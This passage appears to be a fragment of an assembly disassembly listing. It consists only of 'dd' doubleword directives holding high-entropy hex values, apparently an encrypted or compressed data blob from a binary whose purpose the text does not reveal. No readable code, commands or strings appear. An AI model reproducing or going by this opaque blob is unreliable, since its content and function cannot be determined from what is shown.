0CB0E6A74h dd 90F88A7Eh, 4C10F44Ch, 17FA3E0Bh, 1827E54Eh, 5C0527D4h dd 0B4D8508Dh, 9E4010h, 65D6024Ah, 555B49Ch, 7794CA71h dd 9524C26Fh, 3A446CE7h, 75FDCD60h, 80AB393Ah, 526E2CB5h dd 13DF034Bh, 0E2E0D3C5h, 0C1B400C0h, 0FEB9F06Ch, 0D6F65001h dd 53443B1Fh, 2411DB8Eh, 16D091D2h, 8860C8D5h, 0C5D02660h dd 4893941Bh, 0A482445Dh, 0E640CC8Ah, 0B00AC35h, 22FA3BD2h dd 0EAD483C8h, 0D9DE28BAh, 4678048Ch, 0D23C32F0h, 0D85E4FACh dd 24009210h, 260784D3h, 0FEF1A416h, 0E0ABECB0h, 0B9447711h dd 8C80D488h, 0C763E0B3h, 12240B79h, 0BC793C54h, 433DE1AFh dd 7E7892h, 0A84E3488h, 0F0A0B219h, 6CB14810h, 40F09895h dd 0FA8CB7C4h, 9E841102h, 802F883Fh, 5102A15Dh, 91305205h dd 672C682Dh, 245C14h, 16C3D980h, 9E010172h, 1CC1D1BBh dd 14E47591h, 0B899058Eh, 0C17BFBCEh, 22E462F0h, 12DC1128h dd 4816D110h, 1A0238Ch, 86AF0E75h, 883D1893h, 0E016D4Bh dd 253FCB59h, 94EC8832h, 0C5F8C144h, 412F9AF0h, 499CCC90h dd 4046288h, 3E6EF87Dh, 77940813h, 0CF0180B9h, 0D7B39BA5h dd 7B4B2EDCh, 0A4D13937h, 0A800407Ah, 677DAB14h, 68C2CA2Dh dd 95AD8FCh, 0A73ED1D3h, 224A0C02h, 808E8504h, 84C03888h dd 21EEE52h, 0D88E82CAh, 244D2267h, 5571CBE0h, 142F00BCh dd 48F088E7h, 650151C8h, 0D22647E6h, 80407EECh, 1285A58Ah dd 0A49A6Dh, 0D0FAB1E4h, 0E047B26h, 8C87DAA7h, 0FCACEC80h dd 0C2430221h, 89638AFFh, 0B346605Ah, 78029402h, 32319F9Eh dd 29D6110h, 14A1E42Eh, 38A19834h, 32BC0028h, 4A64028Ch dd 0E3DC7E9Ah, 241008DCh, 60141379h, 58C08030h, 0C20AA92h dd 0D628C4CBh, 0D708003Dh, 2492743Fh, 0A4089FA2h, 0A8CE0282h dd 0FC50D350h, 0DC075A0Ah, 4E13084Fh, 9F5C0CE0h, 72D5CA0h dd 0B1009714h, 0F6ECEE44h, 905978B4h, 95742050h, 0B42F944Eh dd 7A0E8C77h, 0D4244FA4h, 0C7C5041Ch, 4CC196CFh, 723ED352h dd 0AC71C0B8h, 0EB184279h, 0DC899D00h, 8BD01A2Bh, 2C16E221h dd 83249457h, 262DC5DDh, 1852E69Ah, 3587B1Fh, 42E46A80h dd 3274A7Fh, 0EE539EDDh, 0EF99857Dh, 44E9E0A7h, 0CD244809h dd 0C9D8224Ch, 145081FBh, 0BC6621CCh, 64242Fh, 0AE92FC08h dd 12C4267Eh, 8FD40FA7h dd 0E6FA8A82h, 2DC44447h, 0AF9A8860h, 488B072Fh, 62FD6254h dd 0B690B050h, 99A376E0h, 29B86512h, 636488h, 3B0C779Dh dd 27EDAF3Eh, 509BF901h, 8C7C8BB1h, 7F96C4h, 233E8269h dd 94AA86A5h, 0A450925Ch, 0C0A1D408h, 86A60E74h, 3A229B46h dd 0E6C4C05h, 58ECB933h, 58E21280h, 9A005FA5h, 4423B332h dd 265DDDCFh, 2B96762h, 0E9A2E8C8h, 0DCA1FC43h, 34898B9Eh dd 0D07AEDh, 483E4F67h, 62CDAD2Bh, 0A47FF600h, 0A2C69060h dd 0CEFE74A6h, 64404C71h, 3C0F29DFh, 820102F0h, 0C8447B1Bh dd 0B03425BEh, 2D2FDB2h, 84403345h, 0B080777Ch, 22F70901h dd 0D02E9857h, 0C921DEA3h, 0F9A5138Bh, 0F8CDC130h, 0E600472Eh dd 5CB9CC82h, 8B44EC08h, 0F0F024DAh, 465E009Ch, 0EA150032h dd 7CBCDBF6h, 44249081h, 0D5009731h, 432361DDh, 74C1Ah dd 24EB17C2h, 182712D4h, 29DD7D18h, 80068490h, 961278AAh dd 1852C511h, 77C8488Bh, 0F1F97C0h, 6BF8289Eh, 0C2D006CDh dd 0E8F1D4E2h, 0C8C9170Eh, 3E489040h, 323C444Bh, 6AE4047h dd 729E3559h, 2058188Bh, 0C0E6A10Dh, 96008CB2h, 7138ED26h dd 0DC63C2D8h, 0C8F5158h, 0C0ABEF87h, 7D048C67h, 61FC92E0h dd 85C0E8E2h, 42CDE055h, 0FBF41900h, 2EEAA7B8h, 0ACB1000Bh dd 0E89EAEB0h, 6C02A86Fh, 0AF8468Dh, 3388491Dh, 8C507860h dd 1283AA4Ch, 888BB144h, 0E0B28D00h, 295DD4AEh, 3CCB3A2Eh dd 442404C9h, 127E4C43h, 0E069FDCAh, 0C86C4ADAh, 303AC76Ch dd 0F039FA6Eh, 12E68805h, 0B8B71E47h, 4219EE0Bh, 0F0599C00h dd 2C062939h, 44F36B10h, 483DE708h, 4BF7710h, 0AA8A7ECFh dd 0C1ACCA4h, 0C9C0DB02h, 0D112D0C8h, 0C488820Ch, 0DC964164h dd 16608AF0h, 3255A550h, 1EA13576h, 2EE08289h, 124088DCh dd 500ACF4Bh, 8A4DF4E1h, 9F6488C0h, 0C49080h, 0E68B9BEFh dd 0C8CA5E7Eh, 2D8D55Dh, 5BF30DA5h, 60042957h, 0E78609Dh dd 7B8623B2h, 60073B11h, 0B7440E70h, 0C13174F6h, 4377788Ch dd 1FF46264h, 205CD20Bh, 0C2FA9A14h, 9CC5E2Eh, 0C49B938Ch dd 0C0B30989h, 0C4F666ADh, 56C5E800h, 0E30C957h, 0CDB712BCh dd 289C048Ah, 0D0F227E5h, 85D70015h, 775C02A1h, 71012A8h dd 406BB082h, 0B3495F8Ch, 0E6B905ACh, 65A44028h, 0F8B7D1EBh dd 1C8DB300h, 3AA4A390h, 0C3545A58h, 10D85DBCh, 0F8194482h dd 24584512h, 0C9825C3Ch, 1137050Eh, 2E038071h, 7D782D5h dd 16FE2335h, 0F57B8046h, 8702FBD4h, 26E617CBh, 0B0885A43h dd 141670F0h, 3C48287Bh, 58C79BCh, 26C301FBh, 0A8AC12EBh dd 0C205DE1Ch, 0D889E912h, 816C6091h, 0FC99E084h, 107631CAh dd 0E07C86h, 22D74238h, 0BE8B06ABh, 5A50D06Bh, 0FAD8018Ch dd 3A39F509h, 2375DC5Fh, 0AD9D50A0h, 54859A00h, 0EC212DEh dd 7D6103F4h, 452F433Ah, 7BA7A4D8h, 0F80030BFh, 0AB2C40CFh dd 0E6FF6D00h, 4671C007h, 1784F35h, 74F3BD38h, 0B95C2DB0h dd 24A7A8C8h, 17238547h, 0A49CF020h, 11784E48h, 7E149CF0h dd 1B07749Fh, 59A31046h, 8296C44h, 6D11DC2Eh, 98E08380h dd 609971FCh, 0E07B87C0h, 65E80388h, 4089BF6Eh, 484838DAh dd 0E40B7EABh, 0D25D9BF2h, 65E30068h, 0FDE05C9Ch, 772F2C46h dd 9FDCA49Eh, 0B00E7A60h, 0C08B8621h, 250E724Ah, 0FCBE7B00h dd 997EF16Fh, 0F0A51ECAh, 30DA4BE1h, 0A80D1CD8h, 0E0458850h dd 4046FC60h, 0FA0928CCh, 543AA175h, 407DEF28h, 81DC4072h dd 0A8580EDDh, 0CDEE1000h, 0AB17703h, 0FAA05F08h, 120480FDh dd 0E52F5AC8h, 0F43CDCCDh, 0A2E3C301h, 6C0D8FF8h, 827B88E8h dd 27A6C843h, 84ADE448h, 0D0287A41h, 38CD3BCh, 39850D6Ah dd 0E08FC574h, 0BB104E7Fh, 25602163h, 0A59CC324h, 6C8820CFh dd 2B2A92C0h, 0AF77317Ah, 6830B0h, 13A115FDh, 0C843B0DAh dd 0ACA83E18h, 42E4F1Eh, 8C42383Dh, 103B19E5h, 1D32F09Eh dd 0EF3980BDh, 687A3413h, 18B07B40h, 0D818750Bh, 4A862E57h dd 7080A785h, 0F454C900h, 528D7136h, 0C8CBE9D3h, 12558B2Ch dd 0B0968AC4h, 7A5020C8h, 3C41FC54h, 7F8E2088h, 8E4724C3h dd 61209869h, 509E21E6h, 6C002A5Ch, 58A82E7Eh, 38124834h dd 0FCF1E84h, 82DA3FAAh, 79FC7918h, 173186Ah, 58416904h dd 2EF1FDDEh, 0E29E2088h, 0D9EC002Eh, 0F4C4F360h, 0F20009A6h dd 44D11EFCh, 0F7BDF9Ah, 0DB272B4Ch, 0A2218404h, 686200C0h dd 3A0C711Dh, 0F98C0047h, 7B24BBDEh, 0D8716BB4h, 0C0C877F8h dd 0DFC4805Eh, 0EE90C19h, 7ECC9E09h, 12309188h, 69F03DCh dd 2EC7DC09h, 0A8947192h, 12C465Eh, 0DDAD59F6h, 7C39B286h dd 284CC938h, 0A066068Eh, 4D091893h, 191EF310h, 87149A0Ch dd 12D22408h, 75C7804h, 0F76233Eh, 49C05210h, 70A25A4Bh dd 0AF686B09h, 374C0764h, 48A4C41Bh, 52C41891h, 7CFE04DCh dd 1F4400CDh, 0D2880080h, 11AE40E0h, 45183491h, 85B0C818h dd 0C8AAD40Dh, 3FA00F2h, 0C1FF57Ch, 4009A854h, 4CB8112Fh dd 318A13CAh, 1465D4A9h, 0BC603BE4h, 442F1F85h, 7AF09058h dd 181F057h, 378DA5DCh, 0CC0F8487h, 6D66E8B2h, 208895B8h dd 1648F0BCh, 154E78FCh, 0A743D45Dh, 8246F488h, 628D035h dd 53F8A91Ah, 713C832h, 8C08171Fh, 0E0AEC07Ch, 0D1464476h dd 9100D522h, 52F5E0B6h, 0F8F6DFFh, 974AEC03h, 4054FCC9h dd 4607361Fh, 2607F02Fh, 0B08FA5Bh, 94AED7A7h, 6A89BCA0h dd 0F8EA3B7Fh, 6780C8B4h, 0CAF7BA14h, 12F0B93Dh, 90E21805h dd 214C2310h, 66408560h, 888614A4h, 2A95AA88h, 1A1B04ACh dd 384C31h, 8CD5E8h, 0C2D1940Dh, 0E2959AC1h, 582EDA00h dd 0F87C780Ah, 0D48095D6h, 1D9CE8D8h, 92A0393Dh, 44E041D3h dd 0F1A23614h, 7A468051h, 74E0B002h, 0D433E144h, 60B88F47h dd 14A94F66h, 19CD9C37h, 0D78826F0h, 5CC096A5h, 276718F5h dd 9C107705h, 0D22E533Dh, 0A30F1339h, 9A1F606Bh, 2C73F2h dd 22B1DF6Eh, 0DCFEB258h, 61E949C0h, 5E27A9h, 793284A0h dd 90D6082Ch, 98FBF20Bh, 0B474C052h, 6D88843h, 3BFA8CA3h dd 39714500h, 0C8B2648Ah, 38D88246h, 4C20F8DAh, 6D20EF72h dd 189B9DD4h, 77445811h, 673DD902h, 3CC6FA9Eh, 2BC4FDA1h dd 83C29090h, 509F4CF7h, 7DB21E0Fh, 0EF745568h, 501D3918h dd 968098F6h, 0FA792864h, 48A809E5h, 0C9C3C88h, 4268C83Ah dd 8F749A4Eh, 193FA1B4h, 843D9276h, 0C4C8FF15h, 718F8402h dd 9040E854h, 24029D15h, 0FB941060h, 2DAFC1FDh, 9FD89841h dd 41222073h, 0D75DD902h, 0F99D6048h, 0DAA600B0h, 372CC7F5h dd 0EF00D97Ah, 0FEEB0DACh, 0FAC4851Ah, 60D0F5A0h, 84964C79h dd 493933B3h, 430C9688h, 192A2032h, 877E1172h, 52C56C47h dd 605D0888h, 4FE4906h, 7B02293Fh, 940E6D62h, 15AC5679h dd 8E22282Fh, 0B4F8C40Fh, 0A0AC32D6h, 0CE085F10h, 2F4E90EFh dd 1D6235Ch, 13D20E5Fh, 0F675DCFDh, 2244AB57h, 4430A78Ah dd 75066070h, 810E0171h, 4ABD8F9h, 0CA1BF4E8h, 0C037C65Bh dd 44E2222Fh, 0A4BC9BEAh, 0A4A22641h, 500C0976h, 5D8A9Eh dd 0E1020A0Ch, 43FCBA80h, 0B7A222Dh, 0C57CE2FCh, 3EF4F010h dd 0E6D8B380h, 635C02F8h, 68054678h, 0AE5864F3h, 0FBB1009Bh dd 4E85F1ACh, 0A04F573Dh, 0D52148DFh, 8E8B0204h, 0CC1018A2h dd 0FBFC5031h, 4048FA46h, 0A2212FA2h, 18629934h, 4539610h dd 1138BA92h, 23C970FCh dd 1870C7Eh, 21A0A25Eh, 0EF0C170h, 7BFF830Bh, 4975D8C0h dd 45FE06FAh, 44203A4Fh, 1F6E03CDh, 0CA63B910h, 449CF9A6h dd 0E6F608Ah, 638625ADh, 6500D096h, 69FE0E67h, 395B6119h dd 0CB9F7E43h, 0E974DD86h, 6131E6FCh, 465EF096h, 0C8950077h dd 0B4572B23h, 90749935h, 8045BDFh, 0D449173Bh, 0DA385022h dd 50A64CE6h, 0A141D4F6h, 58F5C5FDh, 9650E6EEh, 37465E58h dd 1FFB9B00h, 90835632h, 9EA7A100h, 77F47F11h, 0CC7815h dd 0DD1A53D8h, 75B46879h, 17287CBEh, 0B7CA0E2Fh, 26902F8h dd 0AC78A6BBh, 0DA4E897Ch, 0E1C7689Ah, 3EBD0AEh, 5009E3B0h dd 0F23497F7h, 97E271BCh, 0F602F4E4h, 0C29CAC77h, 2E9C70F2h dd 349BF8AAh, 23F03A30h, 3502006Ch, 0EE8FA6A7h, 0D7648807h dd 1DF0D0C4h, 1B893724h, 0A4C2FACCh, 0ABA67002h, 0D920947Eh dd 5F4F1E5Ch, 122C2667h, 0B0E4B49Eh, 80C7FA1Fh, 0DAE3A703h dd 0C1D7A00Dh, 7EA40735h, 0AAFBCAA6h, 0A84F82E4h, 0F0589C58h dd 0B288AB04h, 43BA7380h, 0E95D9638h, 24DA06A8h, 8C53A25Fh dd 38C8F08Bh, 6FFCA2C0h, 0D8E900CBh, 5502229Bh, 0C44BC937h dd 20670441h, 11837423h, 0C1A1BB43h, 0A496DBD8h, 0D122A600h dd 7A05D9C4h, 0AFF113D2h, 2AF0B04Fh, 9FC4500h, 142E3A43h dd 7B4C98AAh, 0C5D0004Bh, 0F846B8F3h, 4B971DBEh, 8E1010A0h dd 0DA920937h, 0B9F858F0h, 19D67918h, 0EE54D4h, 0E5CF31DFh dd 48019A04h, 0D0B3ECA9h, 0DB0096F4h, 3219971Eh, 5EC79E55h dd 23102F69h, 0CD27003Ch, 8AFFB5BEh, 0B8918E26h, 38489E07h dd 0D56022E9h, 0A0887208h, 4DAE9Fh, 0CFEE7096h, 0A8946C4Fh dd 55658A01h, 77B22A97h, 14007073h, 0EC7C2367h, 0E4007AB9h dd 0C5AC20BBh, 9D8B7EDFh, 0F57D3021h, 0A57AFC0Ah, 0A020425Eh dd 203F13h, 0A743076Eh, 84723BB8h, 92075874h, 5B42974Bh dd 0E1E688C2h, 0D91011CCh, 39019F52h, 39E3DC8h, 0F1F444C1h dd 0D1B0009Ah, 2BED01BCh, 48B6E64Eh, 3ED04680h, 0BA0B3BDh dd 5C77FDFEh, 0A2E94487h, 4C3CECh, 0D5F85851h, 0CE542C4Eh dd 37BA04C3h, 0F681E323h, 5010A62Ch, 0F0F81420h, 5D40F222h dd 66BC6416h, 0A1E3CCEDh, 0A6AF7001h, 1EDABFDEh, 23C82F2Ah dd 91790038h, 3C9B33EAh, 0E68E1508h, 8C658029h, 0D64CCBA4h dd 14B66300h, 0FF2F9A2Eh, 0B991C3CFh, 9BA124E5h, 20213FFAh dd 25E0B26Eh, 26460277h, 5D956785h, 0D180E05Ch, 0CCBE1994h dd 0B9D51CB1h, 362D81F1h, 2AAC7683h, 44B40853h, 0F8808337h dd 0C4986F77h, 0C34DDE90h, 0CA50159Ch, 0E8004CCCh, 6F018C76h dd 46AB1384h, 44F272F0h, 2EA54EE8h, 0E22334h, 0B563A37h dd 3024B8Ah, 0F048A91Bh, 2EB8C45Ah, 62F8E834h, 440A161Bh dd 0FB674460h, 57EC00DDh, 0F8A2E880h, 449C0743h, 0B0401744h dd 1D62C8C4h, 0AA4992E0h, 0EC8B4BDCh, 3FC433C8h, 7271C080h dd 2FCE5B89h, 1D8C7B80h, 1DA71B35h, 16674045h, 1496363Ah dd 105C1C2Ch, 0FDD40740h, 7DCA0972h, 74DEB434h, 0FFCF1040h dd 0A5180194h, 0CC881944h, 186B2BDBh, 40867401h, 70DB14CBh dd 73407854h, 0CE23014Bh, 249333F4h, 0BCBC38F1h, 9F078CD5h dd 0E5A46864h, 403D02D2h, 3ED2B50h, 1795A830h, 3100C709h dd 0CE443C1Ah, 0E6505D31h, 5C6C0496h, 0CE65A5F5h, 0C03888D4h dd 7FF6ED73h, 51C65609h, 4040DCC3h, 5B2BCFFAh, 33605D00h dd 0E612DA70h, 0EA0E742Eh, 0B1D500B3h, 4924DBA8h, 1E5CAC5Fh dd 4FD4A74Ch, 0F78558A8h, 0C200C8CDh, 0A38A7527h, 0D2FF34h dd 2FF00619h, 48B80229h, 7971D800h, 7A955BDFh, 17265EE5h dd 23583B3Ch, 93E4006Bh, 5E6D59BEh, 0F8A0310Eh, 4889323h dd 0F0B98BDCh, 0F8422A46h, 0A7658ADh, 0F6C70090h, 4E8B01BFh dd 469AE522h, 29302B4h, 5E879E77h, 9B565858h, 768A0202h dd 0D87AF8EEh, 15CB0048h, 0FF360BBAh, 7D71E1D4h, 0CCD3F60Fh dd 1D2CE27Bh, 0A39490FEh, 0F53B0011h, 0A923D92Ah, 689C9060h dd 0E11BAB00h, 5CA17ECEh, 26C3C450h, 11144AE6h, 83CC4E24h dd 81AAF5FBh, 40AC2B7Fh, 5E12454h, 4595CBC4h, 244C2488h dd 2DF8E8B4h, 7C8C9012h, 0B20802CDh, 2C60A883h, 7E06B078h dd 4D4EF0E4h, 7392071h, 4C9986F8h, 0CB159600h, 7B95D909h dd 0C92109C2h, 60A047C8h, 0F9C107D7h, 4C8545Bh, 84B3E44h dd 0D5C9CA8Bh, 0E4A56860h, 41DF6079h, 60B1911h, 285834AAh dd 20644D71h, 0C4E3B188h, 0BF306DE2h, 6A3F167Ch, 8218ACF5h dd 0F020AA86h, 10470688h, 0C096A906h, 0C6ECEE02h, 5632145Fh dd 3605DCA0h, 0A2823A40h, 96F5BC05h, 99EB4F8h, 405830B2h dd 511C2350h, 0AC462C02h, 0C0696782h, 1DD21A1Fh, 0D534E9AFh dd 9B4A5048h, 99BF8000h, 1606D1Fh, 5D0A2D93h, 0D0BAE787h dd 2BB7DA86h, 62540218h, 205C523Bh, 0A0A388F7h, 5C98BCB3h dd 8CBC1FD9h, 364676h, 2ACAAFB5h, 7018FB40h, 24022D44h dd 0BF461C48h, 3A10CF81h, 0CD30CA3Fh, 0C5C911D0h, 1451C509h dd 94D0A8A5h, 184720C8h, 18C310E6h, 0FA12B16Ch, 68097803h dd 356C841Fh, 0BCF10B40h, 8877D338h, 7842C032h, 6F372F02h dd 1E970020h, 5C65FC1h, 0A4A33015h, 0F30AA151h, 9B04FC71h dd 43B3A078h, 754D5CC2h, 0F867D48Eh, 0FDC0ADFEh, 104340Fh dd 2445B90Bh, 91E49788h, 0AFE5833Bh, 418EB89Ah, 0E7F10436h dd 0ACC858AAh, 0D8E04FB0h, 4606171Eh, 408CA379h, 0FC3C2BFCh dd 0C87B0B78h, 24F4402Eh, 0C4B139FFh, 160770F7h, 0B491D1E2h dd 9446430h, 9DE492A9h, 0FB02B0B7h, 6120A913h, 2C30230Ch dd 9821D85Ch, 0D4A2BD83h, 0E27970F1h, 83B3A18h, 0EDDE0F81h dd 2227C9F8h, 7CC7218h, 33FBB29Eh, 0C71DD0E9h, 85768022h dd 6042C468h, 9C9193h, 0B044EA3Dh, 9E8E18DBh, 29744815h dd 1CB71098h, 1E8C38F8h, 80E82CE7h, 239A2B52h, 0EA4F92FCh dd 3401CCC5h, 73A21446h, 0A129423h, 8BF02126h, 88A84FBBh dd 4784C0D4h, 1E049D76h, 0C6E65897h, 0EFD8F8D0h, 3B52261Fh dd 0E10C17E0h, 0E1006750h, 88704E3Eh, 8C832D99h, 3AFC0C0h dd 1F5F8C98h, 0E688E480h, 0D0FB5FCAh, 4C7D8598h, 74283F38h dd 95943400h, 0FE7E9D8Eh, 2789293h, 0E943324Bh, 0BC418AEAh dd 68ABFFC5h, 5024C912h, 0D21064E3h, 0F8AA04D7h, 3A12498Ch dd 712314h, 0EBE415C1h, 4D0FDD79h, 385C4C6Dh, 5AB228B9h dd 0ECFC13F8h, 0F29780F4h, 9D65022h, 7447467Ch, 0C004850h dd 6A2C0AEBh, 2513A86Bh, 288464CAh, 306E5705h, 124F0900h dd 6BFC6ED2h, 0FCC8314Eh, 1CE835h, 4FFAAC94h, 4283DE53h dd 0B0244300h, 47A82C5Ah, 7698A0C9h, 4E680EAh, 398379Dh dd 0BDA5F224h, 99B8094h, 2A71FFFCh, 9CB6914Ah, 74FACAE0h dd 0ACC8090Bh, 4CEC90E6h, 0BEB90117h, 8C99EA63h, 73CDCCF1h dd 822B3F3Bh, 154D95FCh, 83EC7CE7h, 0AC2218EBh, 0E62E83E8h dd 0D4995F7Ch, 9780B811h, 0A79E8302h, 0BC16BDh, 0BC02A062h dd 0CE3E80A8h, 0B9C1AD00h, 0F0465D05h, 6C2348DEh, 648424h dd 440E8633h, 0ACB63210h, 250EE024h, 0B8F3F2EEh, 0A929404h dd 48AA07C7h, 0C40E1314h, 4597CB40h, 0E3E01461h, 0AC8B19D2h dd 0D1C078C8h, 27D286A4h, 20E874CCh, 9280326Eh, 14EA1FA2h dd 58A1633h, 4A00514h, 747B48h, 4D37DA0Dh, 0E42800B9h dd 0DDD5467Ah, 9A03BC91h, 0BE18480Fh, 92E80685h, 68DEEDAAh dd 0F03EE501h, 0DD3C7EC1h dd 0D164D72Fh, 2D4BD8FAh, 5471890Ch, 24C20820h, 7FD28802h dd 2540DABFh, 4460C634h, 4DF048E6h, 11CF6375h, 2EB60412h dd 88C154ECh, 8E4498C2h, 0B8E318F1h, 0E9E0CA59h, 0D9057D01h dd 42183429h, 9428D841h, 48E01A8Eh, 0E629F73Fh, 2FF67B0Bh dd 1050818Ch, 0F0783A47h, 8854AC96h, 0C5F8800Ch, 0D70B1D66h dd 26FC1CB8h, 0A80594BEh, 50ADCA14h, 0AC168DC4h, 8C11EC54h dd 0A5E0DE7Ch, 39FEC016h, 2291C48h, 7BCCDAA0h, 704768FCh dd 391C4288h, 0DAE2C203h, 177079C3h, 0E23CB365h, 3D77303Bh dd 8DA46195h, 94088021h, 0C4D0A878h, 0E13501E7h, 3197596Ch dd 38442685h, 0C8063943h, 31F5A004h, 32E12408h, 74F92740h dd 0FEDEB203h, 0D99FD84Bh, 82F60F85h, 3D233B1Fh, 2FE0B81Dh dd 0E85B9CCBh, 0FA9E2CC0h, 0C04254BAh, 21571C7Fh, 0A42412C3h dd 1500F4BCh, 206ACBE0h, 0ACCE33h, 0DD734F85h, 1E23A9A2h dd 4C1B7703h, 0D97F4199h, 0CC3F3935h, 601612F8h, 48374D24h dd 22CACE22h, 89DD6850h, 0CED8CD18h, 551A2661h, 8042CA44h dd 0E004C51h, 0A73CA870h, 7A11007Fh, 73BC6B31h, 0B04F3DF7h dd 0A577EC80h, 4C10BD45h, 1901C705h, 9ED26263h, 15C4E54Eh dd 0BA881E1Eh, 591878A6h, 184468EEh, 4847BB2Dh, 827DACD0h dd 187B48C1h, 73E009AFh, 0C8E5D944h, 0E0B79080h, 3D8DF2A4h dd 0AB27E93Bh, 13E4D8E0h, 12DA0B80h, 65794D21h, 0F2C8B200h dd 6C3630D4h, 0ACD52C0Eh, 87131E16h, 3223FC2Fh, 822AD209h dd 485724h, 0C5E812D8h, 0C0287704h, 0FCE2A175h, 0CB39F907h dd 844D8B1Bh, 0C7B4BBC0h, 7C3C2DA1h, 0A040F478h, 59C82F43h dd 0C1A24CC9h, 794D0263h, 1D1F1000h, 320115Ch, 5FED3EA8h dd 0E8D0667Ch, 200E0A4Dh, 236C63C6h, 0BF96AE28h, 46D098F9h dd 0D18B4FF7h, 30161D6Ch, 1A880A08h, 42B304A3h, 0E830A214h dd 8CDFF8ACh, 1372542Dh, 0EE2EC084h, 5A2500C4h, 14E18F3h dd 46E0320Eh, 75EA5701h, 8E16FF6Fh, 62F5A021h, 0E48A2A09h dd 0DC370C8h, 3007E079h, 862F05ABh, 20ED642Ah, 0C96B33F8h dd 3ECFCB02h, 0E0831B5Dh, 15F87Fh, 46859D61h, 0B288428Fh dd 80C03C4Eh, 0C00F5D95h, 64E9C4C9h, 9C00D810h, 0CD4465F2h dd 12DFF7BCh, 7522CB7h, 59C8CB9Dh, 4A77EC40h, 0F27CE32Dh dd 0A5214438h, 0B574FD00h, 0FAF8C4D7h, 2889B548h, 3911C81Dh dd 0D795DF87h, 43D35042h, 6B00545Dh, 0E0AA96D8h, 59B3FF28h dd 2627F445h, 98C87C90h, 91E928Bh, 0C6869482h, 20CCCF02h dd 1F42F8EDh, 0FFEF449Eh, 50C16E13h, 0D428CAE6h, 85F67D02h dd 2444A00Ah, 4C60E145h, 0DA384416h, 7986FF25h, 45090C5Ch dd 2B4E4429h, 5F8ABC46h, 80CC0259h, 0E41ABAFCh, 0BC2EFC52h dd 0E4F69C4Dh, 5410BD38h, 300D4F6h, 0B6E46C9Ch, 0E2F0E7Fh dd 24907D88h, 0C8443959h, 0E896C816h, 0E9224790h, 0DFD19491h dd 71062C18h, 0E74ABB02h, 93FE3058h, 3EF07D21h, 7CDC019Fh dd 5AFEBDD1h, 0A2863A30h, 0BB109D26h, 909692C4h, 2D4A642h dd 0D4D3C947h, 0F82AB70h, 51AD2870h, 0B8FEE8C0h, 0AE0BD14Ch dd 0D216DF5Ch, 6FF03498h, 8048BA89h, 0CE4AFC5h, 0A3283E00h dd 2DF949CAh, 3971FA60h, 0AB04E36Bh, 0A4E6A514h, 763C55E8h dd 40020B94h, 0C01002D5h, 0F9AB0563h, 0DBC83C90h, 2FBE5888h dd 8C12EDD5h, 40DA4C82h, 95595726h, 0D4C0444Dh, 0B310C65h dd 0F0ED0DE5h, 6C44D4D0h, 168E22C8h, 6CA4A25Bh, 0F0245BB9h dd 0E212CA0Ch, 488C9C0h, 0F9BCB928h, 99A31811h, 0DBD88164h dd 0FCC1FE40h, 1A00E47Ch, 6D962DB3h, 0B6A58Bh, 0DCF85C4Ah dd 0CBC595ACh, 28A3D3Eh, 73FFBDB5h, 0CB386B7Eh, 0FCFDE510h dd 5BF04687h, 0CC14D0A0h, 9C73DD1Bh, 856C6100h, 0A07666D3h dd 7189C021h, 239EA495h, 6953EE04h, 0C88E3FF8h, 0D6C27988h dd 2DE887B3h, 24784E11h, 8710402Fh, 8372288h, 6AD70700h dd 0B429C1A4h, 0F3BE0BC8h, 0A074ACF2h, 8258B769h, 8551D947h dd 884030DCh, 0E78293h, 0C6E9BE4h, 9637D2B7h, 0B98A1A1Fh dd 92A4D384h, 7918082h, 4AF652E3h, 88A19CA4h, 3401B948h dd 0FC19A86Bh, 825B68Ah, 93D09B2Fh, 9F643301h, 58FC1A2Fh dd 5AA8737Dh, 0E29442D0h, 0F45189AAh, 20781Dh, 6726964Eh dd 0AAC86C66h, 0ED49F0B9h, 0DA5840E0h, 0D8580A94h, 0D9BA342Fh dd 2CE874A8h, 2F85728Ch, 0C80429AAh, 0C9C20574h, 0A8C450D4h dd 42E2A0A3h, 1C7C5A30h, 41D2625Bh, 52CFF747h, 151BC09Eh dd 0A8219CA4h, 5BB091E7h, 4223F02Fh, 0A040871Ch, 6B03AC25h dd 0ABF217E0h, 0B29C90FEh, 0CF7C479Bh, 3CDA4E28h, 5C2E894Ah dd 0D7003923h, 0E1505A52h, 0A58C014Ch, 0D8489E7Bh, 0ACD8930Ch dd 3190A00Fh, 0A07C615Eh, 0E5BB1365h, 6AB2E8F3h, 2DC7E30h dd 7266E283h, 1075F009h, 4C3B0A50h, 72E160h, 536D4D9h dd 6B0968B9h, 32F92413h, 460430B8h, 8FC380DAh, 0C02C888Ch dd 7AA60FC5h, 0B0016C93h, 7B56EFC4h, 0C484B444h, 23343BEBh dd 0D274002Eh, 0E24AFAD1h, 1F132312h, 0E012FCD1h, 175F7402h dd 80D69160h, 38062DC9h, 0D7F500AAh, 0F84326DEh, 0F09C2282h dd 7CA2188Bh, 0CB024288h, 0DF609E03h, 0E024F44Ah, 0C6CA6AC1h dd 0D0388C7Ah, 9B27740h, 42209310h, 35002064h, 0FB3E235Ah dd 137F3A7Ch, 5FD3403Fh, 0DB2D0194h, 34B28291h, 0ED095AF0h dd 8B7EE650h, 4540DA41h, 1F1080DEh, 0F207C181h, 0C2000C6h dd 0F115057Ah, 0A40ED8EDh, 914485Ch, 0B5C0F06Bh, 0C3604410h dd 82D3573Bh, 162AAC7Ah, 7CD47A09h, 3D430FFDh, 796B4C34h dd 9E6028D4h, 278F8408h, 58C22256h, 7D6F87Ch, 0D1A10B4Bh dd 0CC61AFABh, 3ADA86A0h, 24027CD5h, 57E84DF0h, 5856B4BAh dd 32C4656h, 0BEE2301Dh, 99D8D926h, 7E74602Ah, 2CB6F3E4h dd 11781D69h, 0E2798039h, 0A63ECEh, 4B3AC638h, 6F67D96Bh dd 2EFCA295h, 0B8E10B17h, 8723019Eh, 885C8F3Bh, 82E0CE6Dh dd 0FC04DFB0h, 0B8C8DA24h, 80701BADh, 4BFB448Ah, 82FCF09Fh dd 23D89502h, 5D8C65B9h, 5BEE8480h, 3454E2FCh, 0A15B67B4h dd 96A75C71h, 4D214208h, 0BD99C5D9h, 2FA12168h, 0E8208858h dd 0C692252Dh, 2BC51C11h, 82631408h, 51FF104Dh, 0D1898CD6h dd 0C110094Eh, 1C48CFF4h, 0A485B59Bh, 0CBDC5D5Ah, 2C02C493h dd 21018859h, 7C6D7F3Fh, 413CA6B5h, 42C6938h, 61BD50AAh dd 0A206FCF9h, 103A97F8h, 449A4301h, 1682E845h, 7C6C503Eh dd 4149027Fh, 36EC4FDCh, 0FAE09977h, 0A890C83Bh, 50786827h dd 8E149980h, 